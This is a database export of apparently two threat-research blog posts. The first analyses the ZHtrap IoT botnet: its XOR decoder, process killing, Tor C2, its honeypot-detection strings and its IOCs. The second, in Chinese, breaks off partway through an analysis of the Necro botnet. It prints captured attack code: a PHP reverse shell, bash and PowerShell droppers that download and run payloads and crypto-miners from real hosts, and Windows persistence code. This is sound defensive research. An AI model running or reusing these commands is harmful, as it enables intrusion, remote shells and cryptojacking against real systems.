After that, all newly created processes will be compared with the process snapshot, and any processes that do not meet the requirements will be directly killed.
0x2 Get resource server
ZHtrap uses the following code snippet to get the address of the resource server (ResServ), this process can be divided into two steps, thefirst step is to establish communication with the Tor domain, the sec-ond step sends "GET /sfkjdkfdj.txt" request.
Establish communication with the Tor domain
ZHtrap takes a cue from the Matryosh botnet, first requesting a DNS TXT record from the remote host 0xdeadbeef.tw to get the list of Tor proxies in the figure below.
It will pick one proxy and send domain:port, if the proxy returns05 00 00 01 00 00 00 00 00 00 00, that means the communication has been successfully established. Then send a subsequent GET request to get the resource server address (107.189.30.190), and the network traffic in the following figure clearly reflects this process.
The role of Resource server
As can be seen by the IDA cross-reference in the above figure, the ResServ has two functions.
* Acting as Reporter Server, providing information upload service for the Telnet scanning process
* Acting as Downloader Server, to provide sample download services for the process of vulnerability propagation
0x3 Honeypot
ZHtrap first creates two pipes for information transfer, and then implements a simple honeypot listening on the following 23 ports
The actual effect is as follows.
When these ports of the device are accessed, ZHtrap passes the IP address of the visitor through the pipe for its own telnet scanning & vul-nerability scanning module to use.
Why does it do this?
We speculate that ZHtrap's authors had this in mind.
Many botnets implement worm-like scan propagation, and when ZHtrap's honeypot port is accessed, its source is most likely a device that has been infected by another botnet. This device can be infected, there must be flaws, I can use my scanning mechanism to scan again.This could be a good chance that I can implant my bot samples, and then with the process control function, I can have total control, is’t that awesome?
0x4 Telnet scan
ZHtrap uses Telnet scanning to collect devices that use weak passwords. The sources of the scanned objects are of the following 2 types.
* Randomly generated IPs
* Passively received IPs delivered by the above mentioned honeypot
And these two group of IPs get to treat differently.
For category 1 IPs, SYN port probing is used.
For category 2 IPs, use the connect function directly.
When the target's port 23 is found to be open, try to log in using the hardcoded credentials list, and pass the following code back to the resource server for the IP, port, account, password, etc. that can successfully log in.
During the login attempt, ZHtrap will ask the scanned device to execute the following command:
enable
linuxshell
system
bash
ls /home
ps aux
/bin/busybox ZONESEC
The device type is then determined based on the returned information,and the device will be regarded as a honeypot when it contains the following string.
string
honeypot
Jun22
cowrie
Jun23
cowrie
phil
cowrie
sshd:
cowrie
richard
cowrie
@LocalHost:]
cowrie
Welcome to EmbyLinux 3.13.0-24-generic
telnet-iot-honeypot
If it is a honeypot, the device information will be reported to the resource server via port 2231.
If it is a real device, the device information will be reported to the resource server on port 1282
0x5 Vulnerability scanning & propagation
ZHtrap uses the following 4 samples of Nday vulnerability propagation
* JAWS_DVR_RCE
* NETGEAR
* CCTV_DVR_RCE
* CVE-2014-8361
First construct a SYN packet to probe whether the device's port is open, and the list of supported ports (exp_port) is shown below
80
8080
8081
8083
5500
60001
52869
8089
8090
8000
81
82
83
84
85
8888
8181
8443
5555
Then a "GET /" request is sent to obtain information about the service running on the port.
The following code snippet is then used to determine whether the banner information returned by the service is the target device.
Finally, according to the banner information, select the corresponding vulnerability, and ResServ to assemble a valid payload to try to implant.
As with the telnet scanning process, the sources of the scanned objectsare of the following two types.
* Active randomly generated IP
* Passively receive IPs delivered by the honeypot
For the first category of IPs, an exp_port is randomly selected for probing, and the relationship between IPs and exp_ports is 1 to 1.
For the second category of IPs, all exp_ports are probed, and the relationship between IPs and exp_ports is 1 to N. The network traffic in the following figure illustrates this situation visually.
0x6 C2 communication
ZHtrap uses Tor C2 and therefore has to communicate with C2 with the help of a proxy. This process is described in section above and will not be repeated here. The network traffic shown in the figure below indicates that the connection with C2 has been successfully established.
Next, the following code snippet is used to send a registration message to C2
The actual network traffic generated is as follows.
The command packet of ZHtrap consists of two packets, the first packet is the header and the second packet is the body, where the format of the header is
//5 bytes ,big endian
struct header
{
uint16 body_len;
uint8 cmd_type;
uint16 checksum;
}
Take the above registration packet traffic as an example, the meaning of each field is as follows.
header:
00 07 -- length of body
e5 -- hardcode,cmd type,"e5",
1a fa -- tcp/ip checksum of ("00 07 e5 00 00")
body:
5a 6f 6e 65 53 65 53 -- body string,"ZoneSec"
After sending the registration packet, bot starts to wait for C2 to send the command, and when the header of the command packet successfully passes the check, it selects the corresponding processing flow based on the command type specified by the third byte in the header.
It can be seen that a total of five kinds of commands are supported at present, and the correspondence between command codes and functions is shown in the following table.
Value
Function
0x22
heartbeat
0x45
exit
0x89
download&exec payload
0xF5
reverse shell
0xFE
DDoS
Taking heartbeat as an example, the heartbeat packet network flow in the following figure verifies our analysis.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlabat 360dot cn.
IOC
Sample MD5
5370e0b9484cb25fb3d5a4b648b5c203
6c7cfbe0277e2ca0cbe7157cad7c663e
f1f70dc1274112ae5287ceb06f096d0e
9dded61f7de47409bc00e74c0a12210e
7b593fbbd6f81a3e9a2043a46949879d
ba17282481acca9636c5d01f5c2dd069
URL
0xdeadbeef.tw
h5vwy6o32sdcsa5xurde35dqw5sf3cdsoeewqqxmhoyzsvar4u6ooead.onion:8080
C2
oemojwe5loscudytzfo273nkdvalf7mumctwcm42zyutoo6tpfjsphyd.onion:3000
Reporter
107.189.30.190:1282
107.189.30.190:2231
Proxy Ip
51.178.54.234:9095
51.79.157.89:9095
167.114.185.33:9095
147.135.208.44:9095
198.245.53.58:9095
142.93.247.244:9050
66.70.188.235:9095
139.99.134.95:9095
144.217.243.21:9095
46.101.61.9:9050
Downloader
x86 arm5 arm6 arm7 mips
hxxp://107.189.30.190/bins/z.{CPU_ARCH}
oemojwe5loscudytzfo273nkdvalf7mumctwcm42zyutoo6tpfjsphyd.onion:8080/z.{CPU_ARCH}
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Overview\nIn the security community, when people talk about honeypot, by default we would assume this is one of the most used toolkits for security researchers to ```lure the bad guys```. But recently we came across a botnet **uses honeypot to harvest other infected devices**, which is quite interesting. \nFrom February 28, 2021, our BotMon system started to see one IP (```107.189.30.190```) continuously spreading a batch of unknown ELF samples. After analysis, we confirmed that these samples belonged to a new botnet family, we named it ``ZHtrap``, and it has the following characters.\n- ZHtrap's propagation uses 4 Nday vulnerabilities, the main function is DDoS and scanning, while integrating some backdoor features.\n- Zhtrap sets up honeypot on the infected device.\n- Zhtrap takes snapshots for the victim devices, and disables the running of new commands based on the snapshot, thus achieving exclusivity over the device.\n- For C2 communication, ZHtrap takes a cue from the [**Matryosh**](__GHOST_URL__/matryosh-botnet-is-spreading/) botnet we previous reported, using Tor and cloud-based configuration.\n## ZHtrap Full Introduction\nZHtrap's code is based on Mirai and supports x86, ARM, MIPS and other major CPU architectures. However, compared to Mirai, ZHtrap has changed a lot, which is reflected in the following aspects.\n- In terms of instructions, a checksum mechanism has been added\n- In terms of scanning propagation, ```the distinction between real devices and honeypots has been added```.\n- In terms of encryption algorithm, a set of multiple XOR encryption algorithm has been redesigned.\n- In terms of host behavior, it can turn the compromised device into a simple honeypot and implement a set of process control mechanisms\n- In terms of network architecture, it borrows some implementations of our previously exposed Matryosh botnet\n\nThe basic process is shown in the following diagram.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_brief.png\" width=\"860px\" />\nIn terms of functionality, in addition to DDoS attacks and scanning, ZHtrap also implements backdoor functionality, which increases the harmfulness of the family. specific functions of ZHtrap include\n- Process control\n- Reversing Shell\n- DDoS attacks\n- Telnet scanning\n- Exploit propagation\n- Turn infected devices into honeypot\n- Download and execute Payload\n\nThe ZHtrap samples we have captured so far can be divided into 3 versions according to their functions: v1, v2 and v3. \n- v2 is based on v1 with the addition of vulnerability exploitation.\n- v3 is based on v2 with the deletion of the network infrastructure. \n\nTheir relationship is shown in the figure below, and the analysis in this paper is based on the most fully functional v2 version.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_version-2.png\" width=\"860px\" />\n\nCompared to other botnets we have analyzed before, the most interesting part of ZHtrap is its ability to **turn infected devices into honeypot**. Honeypots are usually used by security researchers as a tool to capture attacks, such as collecting scans, exploits, and samples. But this time around, we found that ZHtrap uses a similar technique by integrating a scanning IP collection module, and the collected IPs are used as targets in its own scanning module, with the basic process shown below.\n <img src=\"__GHOST_URL__/content/images/2021/03/zh_trap.png\" width=\"860px\" />\n\nZHtrap will listen to 23 designated ports (as shown in the above figure), and if it finds an IP connecting to these ports it will record it as a scanner IP, and all the recorded IPs will be scanned in its own scanningmodule, so that the target addresses used in the ZHtrap scanning process will have 2 sources.\n- Randomly generated IPs.\n- Scanner IPs captured by the above module.\n\nMore details on this can be found in the sample analysis section below.\n\n## Sample Reverse Analysis\nHere we pick ZHtrap v2's X86 CPU architecture sample for analysis, with the following basic information.\n> MD5：5370e0b9484cb25fb3d5a4b648b5c203 \n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped \n> Packer：None\n\n\nAfter ZHtrap successfully infects the device, it creates a single instanceby binding local port, then decrypts the encrypted resource information and renames the process to ```/bin/ZoneSec```, and then prints out the following message in the Console```ZH infected your shit, message me on discord to compare assets ($reiko#0095), researchers hmu twitter[.] com/ZoneHax```. Next, a network request is made to get the address of the resource server for the scanning & propagation phase. Then listen to 23 pre-de-fined ports to turn the device into a \"honeypot\", waiting for other compromised devices to hit the port.It uses 4 Nday vulnerability to achieve worm-like propagation. Fi-nally, it communicates with the TOR C2 and waits for the execution of the commands issued by the C2.\n\n### 0x0 Encryption algorithm\nZHtrap uses a relatively rare multiple xor encryption algorithm to hide resource information.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_xor.png\" width=\"860px\" />\nThe equivalent python implementation is shown below.\n```\nxor_key_lst = [0x51, 0x6A, 0x66, 0x6A, 0x78, 0x53, 0x52, 0x44, 0x46, 0x47, 0x53, 0x46, 0x44, 0x64, 0x66] #QjfjxSRDFGSFDdf\nxor_key = 0xD00DBAAF\n\ndef decode(content):\n\t\tdesc_lst = []\n\t\tplaintext=\"\"\n \t\txor_key_lst_idx = 1\n\t\tfor idx in range(0, len(content)):\n\t\t\tdesc_lst.append(chr(content[idx] ^ (xor_key % 0xFF) ^ xor_key_lst[xor_key_lst_idx - 1] ^ (xor_key_lst_idx + idx)))\n\t\t\txor_key_lst_idx += 1\n\t\t\tif xor_key_lst_idx >= len(xor_key_lst):\n\t\t\t\txor_key_lst_idx = 0\n\t\telse:\n\t\t\tprint(\"\".join(desc_lst))\n```\nTake the following ciphertext as an example\n```\ncipher =[\n\n 0x42, 0x69, 0x0B, 0x4C, 0x57, 0x76, 0x72, 0x60, 0x6B, 0x79, \n 0x6A, 0x39, 0x6C, 0x58, 0x55, 0x7B, 0x10, 0x49, 0x5C, 0x41, \n 0x75, 0x2A, 0x32, 0x43, 0x48, 0x4C, 0x5B, 0x45, 0x61, 0x56, \n 0x26, 0x6E, 0x68, 0x27, 0x78, 0x5C, 0x11, 0x45, 0x48, 0x4D, \n 0x4B, 0x54, 0x49, 0x71, 0x22, 0x43, 0x7D, 0x3C, 0x75, 0x69, \n 0x4E, 0x50, 0x51, 0x42, 0x2A, 0x79, 0x2B, 0x39, 0x17, 0x70, \n 0x50, 0x6E, 0x4F, 0x49, 0x51, 0x2E, 0x36, 0x2E, 0x28, 0x2F, \n 0x69, 0x6D, 0x69, 0x42, 0x51, 0x7C, 0x40, 0x5E, 0x02, 0x01, \n 0x3E, 0x27, 0x37, 0x20, 0x32, 0x13, 0x09, 0x1A, 0x39, 0x57, \n 0x2A, 0x12, 0x04, 0x63, 0x27, 0x09, 0x14, 0x11, 0x11, 0x07, \n 0x06, 0x51, 0x1C, 0x36, 0x2B, 0x5C, 0x14, 0x2F, 0x3C, 0x27, \n 0x27, 0x0D, 0x0C\n]\n```\nAfter decryption, we get the following plaintext, which is exactly the in the Console prompt\n```\nZH infected your shit, message me on discord to compare assets ($reiko#0095), researchers hmu twitter[.]com/ZoneHax\n```\nThere are 3 encrypted messages in the current sample, and the decrypted message is shown below, where ```/proc/``` and ```/stat``` are used in the next section on process control.\n| index | plaintext |\n| ----- | ------------------------------------------------------------ |\n| 2 | /stat |\n| 1 | /proc/ |\n| 0 | ZH infected your shit.....|\n\n### 0x1 Process Control\n\nZHtrap realizes process control through the whitelist and snapshot mechanism to aceive the exclusivity of the device. A process whose executable path contains the following path is considered a whitelisted process. After ZHtrap is started, it will first obtain the current process list, and then terminate the non-whitelisted processes through kill -9. So it is clear that ZHtrap does not want to destroy the normal operation of the system.\n```\n/bin\n/sbin\n/user/bin\n/user/sbin\n```\nNext, a snapshot of the processes is created for the system, after which the newly created processes are compared with the snapshot and those that do not meet the requirements are removed. In this way the whole system remains under ZHtrap's control, and even if the administrator finds a problem with the device, many system management tools are no longer working properly, making maintenance a difficult task.\n\n###### Clean up non-whitelisted processes\nWhen ZHtrap runs, it iterates through the current processes on the system and reads the value of starttime, item 22 in \"/proc/pid/stat\". This value is divided by ```_SC_CLK_TCK``` to get how long the process was started after the kernel started. The value of _SC_CLK_TCK is usually equal to 100, ```10000/_SC_CLK_TCK``` results in 100 seconds.So all processes started after 100 seconds of kernel startup will be checked, and if the process path is not in the whitelist, the process will be killed.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_procwhite.png\" width=\"860px\" />\n\n###### Create a snapshot of the processes and clean up any new processes that aren't on the mark.\nAfter cleaning the non-whitelisted processes, ZHtrap considers the sys-tem to be in a \"pure state\" and creates a process snapshot for the system first.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_procsnap.png\" width=\"860px\" />\nAfter that, all newly created processes will be compared with the process snapshot, and any processes that do not meet the requirements will be directly killed.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_proctest.png\" />\n## 0x2 Get resource server\nZHtrap uses the following code snippet to get the address of the resource server (ResServ), this process can be divided into two steps, thefirst step is to establish communication with the Tor domain, the sec-ond step sends \"GET /sfkjdkfdj.txt\" request.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_rescode.png\" width=\"860px\" />\n###### Establish communication with the Tor domain\nZHtrap takes a cue from the Matryosh botnet, first requesting a DNS TXT record from the remote host ```0xdeadbeef.tw``` to get the list of Tor proxies in the figure below.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_torproxy.png\" width=\"860px\" />\nIt will pick one proxy and send ```domain:port```, if the proxy returns```05 00 00 01 00 00 00 00 00 00 00```, that means the communication has been successfully established. Then send a subsequent GET request to get the resource server address (107.189.30.190), and the network traffic in the following figure clearly reflects this process.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_respkg.png\" width=\"860px\" />\n###### The role of Resource server\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_respopu.png\" width=\"860px\" />\nAs can be seen by the IDA cross-reference in the above figure, the ResServ has two functions.\n\n- Acting as Reporter Server, providing information upload service for the Telnet scanning process\n- Acting as Downloader Server, to provide sample download services for the process of vulnerability propagation\n\n## 0x3 Honeypot\nZHtrap first creates two pipes for information transfer, and then implements a simple honeypot listening on the following 23 ports\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_honcode.png\" width=\"860px\" />\nThe actual effect is as follows.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_honshow.png\" width=\"860px\" />\nWhen these ports of the device are accessed, ZHtrap passes the IP address of the visitor through the pipe for its own telnet scanning & vul-nerability scanning module to use.\n\n###### Why does it do this?\nWe speculate that ZHtrap's authors had this in mind.\n> Many botnets implement worm-like scan propagation, and when ZHtrap's honeypot port is accessed, its source is most likely a device that has been infected by another botnet. This device can be infected, there must be flaws, I can use my scanning mechanism to scan again.This could be a good chance that I can implant my bot samples, and then with the process control function, I can have total control, is’t that **awesome**?\n\n## 0x4 Telnet scan\nZHtrap uses Telnet scanning to collect devices that use weak passwords. The sources of the scanned objects are of the following 2 types.\n- Randomly generated IPs\n- Passively received IPs delivered by the above mentioned honeypot\n\n\nAnd these two group of IPs get to treat differently.\n\nFor ```category 1``` IPs, SYN port probing is used.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_tela.png\" width=\"860px\" />\nFor ```category 2``` IPs, use the ```connect``` function directly.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_telb.png\" width=\"860px\" />\nWhen the target's port 23 is found to be open, try to log in using the hardcoded credentials list, and pass the following code back to the resource server for the IP, port, account, password, etc. that can successfully log in.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_telrep.png\" width=\"860px\" />\nDuring the login attempt, ZHtrap will ask the scanned device to execute the following command:\n```\nenable\nlinuxshell\nsystem\nbash\nls /home\nps aux\n/bin/busybox ZONESEC\n\n```\nThe device type is then determined based on the returned information,and the device will be regarded as a honeypot when it contains the following string.\n| string | honeypot |\n| -------------------------------------- | ------------------------------------------------------------ |\n| Jun22 | [cowrie](https://github.com/cowrie/cowrie) |\n| Jun23 | cowrie |\n| phil | cowrie |\n| sshd: | cowrie |\n| richard | cowrie |\n| @LocalHost:] | cowrie |\n| Welcome to EmbyLinux 3.13.0-24-generic | [telnet-iot-honeypot](https://github.com/Phype/telnet-iot-honeypot) |\nIf it is a honeypot, the device information will be reported to the resource server via port 2231.\n\n\nIf it is a real device, the device information will be reported to the resource server on port 1282\n\n\n## 0x5 Vulnerability scanning & propagation\nZHtrap uses the following 4 samples of Nday vulnerability propagation\n- [JAWS_DVR_RCE](https://www.exploit-db.com/exploits/41471/) \n- [NETGEAR]( https://www.exploit-db.com/exploits/43055 ) \n- [CCTV_DVR_RCE]( https://www.exploit-db.com/exploits/39596/)\n- [CVE-2014-8361](https://www.exploit-db.com/exploits/37169/)\n\n\n\nFirst construct a SYN packet to probe whether the device's port is open, and the list of supported ports (exp_port) is shown below\n| 80 | 8080 | 8081 | 8083 | 5500 |\n| ----- | ----- | ---- | ---- | ---- |\n| 60001 | 52869 | 8089 | 8090 | 8000 |\n| 81 | 82 | 83 | 84 | 85 |\n| 8888 | 8181 | 8443 | 5555 | |\nThen a \"GET /\" request is sent to obtain information about the service running on the port.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_expreq.png\" width=\"860px\" />\nThe following code snippet is then used to determine whether the banner information returned by the service is the target device.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_expresp.png\" width=\"860px\" />\n\nFinally, according to the banner information, select the corresponding vulnerability, and ResServ to assemble a valid payload to try to implant.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_expsend.png\" width=\"860px\" />\n\nAs with the telnet scanning process, the sources of the scanned objectsare of the following two types.\n- Active randomly generated IP\n- Passively receive IPs delivered by the honeypot\n\nFor the first category of IPs, an exp_port is randomly selected for probing, and the relationship between IPs and exp_ports is 1 to 1.\nFor the second category of IPs, all exp_ports are probed, and the relationship between IPs and exp_ports is 1 to N. The network traffic in the following figure illustrates this situation visually.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_exppkg.png\" width=\"860px\" />\n\n## 0x6 C2 communication\nZHtrap uses Tor C2 and therefore has to communicate with C2 with the help of a proxy. This process is described in section above and will not be repeated here. The network traffic shown in the figure below indicates that the connection with C2 has been successfully established.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_torconne.png\" width=\"860px\" />\nNext, the following code snippet is used to send a registration message to C2\n\nThe actual network traffic generated is as follows.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_regpkg.png\" width=\"860px\" />\n\nThe command packet of ZHtrap consists of two packets, the first packet is the header and the second packet is the body, where the format of the header is \n\n```\n//5 bytes ,big endian\nstruct header\n{\n\n\tuint16\tbody_len;\n\tuint8\tcmd_type;\t\t \n\tuint16\tchecksum;\n}\n```\n\nTake the above registration packet traffic as an example, the meaning of each field is as follows.\n```\nheader:\t\n\t00 07 \t\t\t\t-- length of body\n\te5\t\t\t \t\t\t\t-- hardcode,cmd type,\"e5\",\n\t1a fa\t\t \t\t\t\t-- tcp/ip checksum of (\"00 07 e5 00 00\")\nbody:\n\t5a 6f 6e 65 53 65 53\t\t-- body string,\"ZoneSec\" \n```\nAfter sending the registration packet, bot starts to wait for C2 to send the command, and when the header of the command packet successfully passes the check, it selects the corresponding processing flow based on the command type specified by the third byte in the header.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_func.png\" width=\"860px\" />\nIt can be seen that a total of five kinds of commands are supported at present, and the correspondence between command codes and functions is shown in the following table.\n| Value | Function |\n| ----- | --------------------- |\n| 0x22 | heartbeat |\n| 0x45 | exit |\n| 0x89 | download&exec payload |\n| 0xF5 | reverse shell |\n| 0xFE | DDoS |\nTaking heartbeat as an example, the heartbeat packet network flow in the following figure verifies our analysis.\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_heart.png\" width=\"860px\" />\n## Contact us\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab), or email to netlabat 360dot cn.\n## IOC\nSample MD5\n```\n5370e0b9484cb25fb3d5a4b648b5c203\n6c7cfbe0277e2ca0cbe7157cad7c663e\nf1f70dc1274112ae5287ceb06f096d0e\n9dded61f7de47409bc00e74c0a12210e\n7b593fbbd6f81a3e9a2043a46949879d\nba17282481acca9636c5d01f5c2dd069\n```\n\nURL\n```\n0xdeadbeef.tw\nh5vwy6o32sdcsa5xurde35dqw5sf3cdsoeewqqxmhoyzsvar4u6ooead.onion:8080\n```\nC2\n```\noemojwe5loscudytzfo273nkdvalf7mumctwcm42zyutoo6tpfjsphyd.onion:3000\n```\n\nReporter\n```\n107.189.30.190:1282\n107.189.30.190:2231\n```\n\nProxy Ip\n```\n51.178.54.234:9095\n51.79.157.89:9095\n167.114.185.33:9095\n147.135.208.44:9095\n198.245.53.58:9095\n142.93.247.244:9050\n66.70.188.235:9095\n139.99.134.95:9095\n144.217.243.21:9095\n46.101.61.9:9050\n```\n\nDownloader\n```\nx86 arm5 arm6 arm7 mips\nhxxp://107.189.30.190/bins/z.{CPU_ARCH}\noemojwe5loscudytzfo273nkdvalf7mumctwcm42zyutoo6tpfjsphyd.onion:8080/z.{CPU_ARCH}\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 604af883d0d9b7000712c6b0 |
post | null | 2021-03-12T10:46:05.000Z | 63873b9a8b1c1e0007f52faf | necro-shi-yong-tor-dong-tai-yu-ming-dga-shuang-sha-windows-linux | 0 | 2021-07-08T02:32:19.000Z | public | published | null | 2021-03-16T03:13:35.000Z | Necro再次升级，使用Tor+动态域名DGA 双杀Windows&Linux | <!--kg-card-begin: markdown--><h2 id="">版权</h2>
<p>版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">概述</h2>
<p>自从我们1月份公开<a href="__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/">Necro</a>后不久，它就停止了传播，但从3月2号开始，BotMon系统检测到Necro再次开始传播。蜜罐数据显示本次传播所用的漏洞除了之前的TerraMaster RCE（CVE_2020_35665）和Zend RCE (CVE-2021-3007)，又加入了两个较新的漏洞Laravel RCE (CVE-2021-3129)和WebLogic RCE (CVE-2020-14882)，蜜罐相关捕获记录如下图所示。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/exp_scan_trend_20k-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>通过样本分析我们发现在沉寂一个月之后新版本的Necro有了较大改动，功能进一步加强，体现在：</p>
<ol>
<li>开始攻击Windws系统，并在Windows平台上使用Rootkit隐藏自身。</li>
<li>更新了DGA机制，采用“子域名DGA+动态域名”的方法生成C2域名。</li>
<li>C2通信支持Tor，同时加入了一种新的基于Tor的DDoS攻击方法。</li>
<li>能针对特定Linux目标传播<a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a>。</li>
<li>能篡改受害机器上的Web服务页面，实现浏览器挖矿，窃取用户数据，并将失陷网站用户的浏览器变为bot打DDoS攻击、做hash爆破等。</li>
</ol>
<p>本月初我们公开过<a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a>，并指出它与Necro来自同一团伙，即所谓的Keksec团伙。从时间上看，他们在Necro之后开始传播Gafgyt_tor，但也在同步更新Necro，增加新的特性，完整的功能如下图所示。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/necro_attack_flow-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>值得说明的是，我们先后见过2种新版本的样本，分别采用Tor C2和“子域名DGA+动态域名”生成的C2域名，说明新版本也是在不断更新的,符合Necro作者一贯的风格：边分发边升级。下面我们分别从传播、C2通信和攻击等各个维度对新版样本进行分析。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">样本分析</h2>
<h3 id="">扫描和传播</h3>
<ul>
<li>
<p>Laravel RCE (CVE-2021-3129)</p>
<p>该漏洞的exploit使用了反向shell的方式先下载一个bash脚本，如下图所示：</p>
<pre><code class="language-python">ZCgAMCXTa='php -r \'$sock=fsockopen("'+self.YxqCRypO+'",9999);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);\''
ZCgAMCXTa=ZCgAMCXTa.replace('/', '\/')
</code></pre>
<p>下载到的bash脚本功能如下：</p>
<ol>
<li>下载并执行另一个脚本<code>malware.sh</code>。</li>
<li>下载并执行<a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a>。</li>
<li>下载并执行挖矿程序。</li>
</ol>
<p>下面是我们捕获到一个bash脚本：</p>
<pre><code>wget http://kek.gay/malware.sh -O malware.sh
sh malware.sh
rm -f malware.sh
cd /tmp || cd /home/$USER || cd /var/run || cd $(busybox find / -writable -readable -executable | head -n 1) || cd /mnt || cd / ;
wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; busybox ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; chmod 777 IObeENwjx64; ./IObeENwjx64; rm -f IObeENwjx64
...
export ARGS="-o 45.145.185.83:9050"
export LINE="[ ! -f /tmp/.apid ] && echo > /tmp/.apid;./.1/sshd $ARGS >> /dev/null;./.2/sshd $ARGS >> /dev/null &"
echo "$LINE" > ./.backup.sh
curl http://45.145.185.83/xmrig1 -O
wget http://45.145.185.83/xmrig1 -O xmrig1
mkdir ./.1;mv -f xmrig1 ./.1/sshd
...
chmod +x ./.backup.sh;
sh ./.backup.sh &
exit
</code></pre>
<p>其中malware.sh脚本用于下载并执行新版本的Necro，内容如下所示：</p>
<pre><code>#pkill -9 python
wget http://45.144.225.96/benchmark.py -O benchmark.py
python benchmark.py || python2 benchmark.py || python2.7 benchmark.py || /usr/bin/python benchmark.py || /usr/bin/ python2 benchmark.py || /usr/bin/ python2.7 benchmark.py
</code></pre>
</li>
<li>
<p>WebLogic RCE (CVE-2020-14882)</p>
<p>该漏洞有2个exploits,分别针对Linux和Windows系统。</p>
<ol>
<li>针对Linux系统的exploit使用了bash，它会同时下载并执行Necro（setup.py）和挖矿程序。</li>
</ol>
<pre><code class="language-bash">cd /tmp||cd $(find / -writable -readable -executable | head -n 1);php -r "file_put_contents(\\".setup\\", file_get_contents(\\"http://DOMAIN/setup\\"));";curl http://DOMAIN/setup -O;wget http://DOMAIN/setup -O .setup;chmod 777 .setup;./.setup;php -r "file_put_contents(\\".setup.py\\", file_get_contents(\\"http://DOMAIN/setup.py\\"));";curl http://DOMAIN/setup.py -O;wget http://DOMAIN/setup.py -O .setup.py;chmod 777 .setup.py;./.setup||python2 .setup.py||python .setup.py||./setup.py;DIR=`pwd`;ARGS="-o DOMAIN:9050";LINE="[ ! -f $DIR/.pidfile ] && echo > $DIR/.pidfile;$DIR/.1/sshd $ARGS||$DIR/.2/sshd $ARGS >> /dev/null||./sshd $ARGS >> /dev/null &";cd $DIR;echo "$LINE" > $DIR/.backup.sh;curl http://DOMAIN/xmrig1 -O||wget http://DOMAIN/xmrig1 -O xmrig1;mkdir $DIR/.1;mv -f xmrig1 $DIR/.1/sshd;chmod 777 $DIR/.1/sshd;curl http://DOMAIN/xmrig -O||wget http://DOMAIN/xmrig -O xmrig;mkdir $DIR/.2;mv -f xmrig $DIR/.2/sshd;chmod 777 $DIR/.2/sshd;chmod +x $DIR/.backup.sh;$DIR/.backup.sh
</code></pre>
<ol start="2">
<li>针对Windows平台的exploit使用了Powershell，它会先下载打包好的Pyhton2.7可执行环境（py.exe）,然后下载并执行Necro（setup.py）</li>
</ol>
<pre><code class="language-powershell">"@powershell -NoProfile -ExecutionPolicy unrestricted -Command \"(New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/py.exe', 'python.exe'); (New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/setup.py', 'setup.py');\" & .\python.exe setup.py
</code></pre>
</li>
</ul>
<h3 id="windows">攻击Windows系统</h3>
<p>从上面的分析可知有些WebLogic服务器是运行在Windows操作系统上的，KekSec团伙显然对这些主机也很感兴趣。样本启动后如果检测到底层操作系统为Windows则会把py.exe复制到<code>USERPROFILE\\$6829.exe</code>，代码如下图所示：</p>
<pre><code class="language-python">if os.name == 'nt':
try:
sys.argv[1]
except IndexError:
subprocess.Popen(GetCommandLine() + " 1", creationflags=8, close_fds=True)
os.kill(os.getpid(),9)
ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)
if GetLastError() == ERROR_ALREADY_EXISTS:
os.kill(os.getpid(),9)
if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):
try:
shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\$6829.exe')
